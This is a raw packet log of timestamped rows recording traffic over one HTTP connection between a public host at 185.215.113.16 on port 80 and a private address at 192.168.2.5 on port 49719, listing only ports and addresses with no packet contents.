Oct 27, 2024 20:15:29.129944086 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.129976034 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.130032063 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.131798983 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.131814957 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.131831884 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.131902933 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.131978989 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.131994963 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.132009029 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.132035017 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.134336948 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.161362886 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.161402941 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.161429882 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.161446095 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.161461115 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.161469936 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.161477089 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.161504030 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.161609888 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.161883116 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.161899090 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.161914110 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.161990881 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.162221909 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.162237883 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.162252903 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.162273884 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.162400007 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.199398041 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.199417114 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.199434042 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.199471951 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.199486971 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.199496984 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.199502945 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.199526072 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.199645042 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.247095108 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.247114897 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.247132063 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.247327089 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.247342110 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.247358084 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.247359037 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.247410059 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.247762918 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.249013901 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.249030113 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.249089956 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.249113083 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.249296904 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.249313116 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.249388933 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.278918028 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.278935909 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.278951883 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.279011011 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.279011011 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.279025078 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.279042006 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.279057980 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.279109955 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.279268026 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.279283047 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.279306889 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.279331923 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.279331923 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.279347897 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.279370070 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.279519081 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.317245007 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.317267895 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.317285061 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.317300081 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.317317009 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.317326069 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.317553997 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.359899998 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.364450932 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.364475965 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.364516973 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.364567995 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.364583969 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.364599943 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.364614964 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.364624977 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.364655018 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.366430044 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.366456032 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.366472006 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.366487026 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.366492033 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.366503000 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.366543055 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.366992950 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.367031097 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.367281914 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.396200895 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.396226883 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.396258116 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.396274090 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.396281004 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.396290064 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.396306992 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.396311998 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.396325111 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.396732092 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.396749020 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.396765947 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.396770000 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.396809101 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.398324966 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.398341894 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.398359060 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.398384094 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.434137106 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.434154034 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.434173107 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.434197903 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.434195042 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.434214115 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.434231043 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.434231997 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.434283972 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.481944084 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.481976032 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.481992960 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.482007980 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.482021093 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.482027054 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.482058048 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.482086897 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.483534098 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.483549118 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.483567953 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.483593941 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.483601093 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.483608007 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.483630896 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.483637094 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.483665943 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.513134956 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.513183117 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.513220072 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.513240099 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.513284922 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.513312101 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.513331890 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.513334036 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.513381004 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.513575077 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.513680935 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.513695955 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.513721943 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.513959885 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.513988972 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.514003038 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.514015913 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.514065027 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.514224052 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.514240026 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.514255047 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.514281034 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.551254034 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.551282883 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.551297903 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.551346064 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.551383972 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.551412106 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.551428080 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.551441908 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.551480055 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.594364882 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.599103928 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.599119902 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.599128962 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.599138021 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.599145889 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.599153996 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.599339962 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.600646973 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.600661993 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.600678921 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.600739002 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.600763083 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.600778103 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.600792885 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.600804090 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.600836039 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.631135941 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.631174088 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.631190062 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.631216049 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.631232023 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.631247044 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.631264925 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.631280899 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.631297112 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.631299019 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.631354094 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.631508112 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.631550074 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.631685019 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.631731987 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.631759882 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.631783009 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.668544054 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.668598890 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.668627977 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.668637037 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.668654919 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.668678045 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.668700933 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.668735027 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.668735027 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.716517925 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.716574907 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.716599941 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.716630936 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.716639042 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.716665983 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.716695070 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.716701031 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.716730118 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.731579065 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.731612921 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.731637955 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.731646061 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.731664896 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.731681108 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.731693029 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.731719017 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.731739044 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.731796980 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.731836081 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.731987953 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.748034000 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.748086929 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.748112917 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.748112917 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.748137951 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.748147964 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.748167992 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.748220921 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.748419046 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.748476982 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.748505116 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.748528004 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.748536110 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.748552084 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.748569012 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.748630047 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.749106884 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.749139071 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.749577045 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.749624968 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.785445929 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.785501957 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.785535097 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.785562992 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.785569906 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.785614967 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.785677910 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.785742044 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.785792112 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.833611965 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.833672047 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.833709002 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.833726883 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.833759069 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.833795071 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.833798885 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.833828926 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.833863974 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.833884001 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.848654032 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.848689079 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.848710060 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.848803997 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.848838091 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.848848104 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.848872900 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.848906994 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.848920107 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.849023104 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.849056959 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.849067926 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.849092007 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.849137068 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.864830017 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.864887953 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.864914894 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.864918947 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.864937067 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.864973068 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.865009069 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.865012884 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.865190983 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.865241051 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.865338087 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.865391016 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.865420103 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.865442038 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.865554094 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.865591049 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.865598917 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.865624905 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.865664005 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.865829945 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.865884066 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.865916967 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.865922928 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.865952015 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.865999937 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.891676903 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.902875900 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.902983904 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.903017998 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.903052092 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.903053045 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.903089046 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.903093100 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.950377941 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.950409889 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.950424910 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.950462103 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.950496912 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.950510979 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.950531960 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.950567007 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.950572968 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.950886965 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.950921059 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.950928926 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.950956106 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.950999022 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.965562105 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.965620995 CET	80	49719	185.215.113.16	192.168.2.5
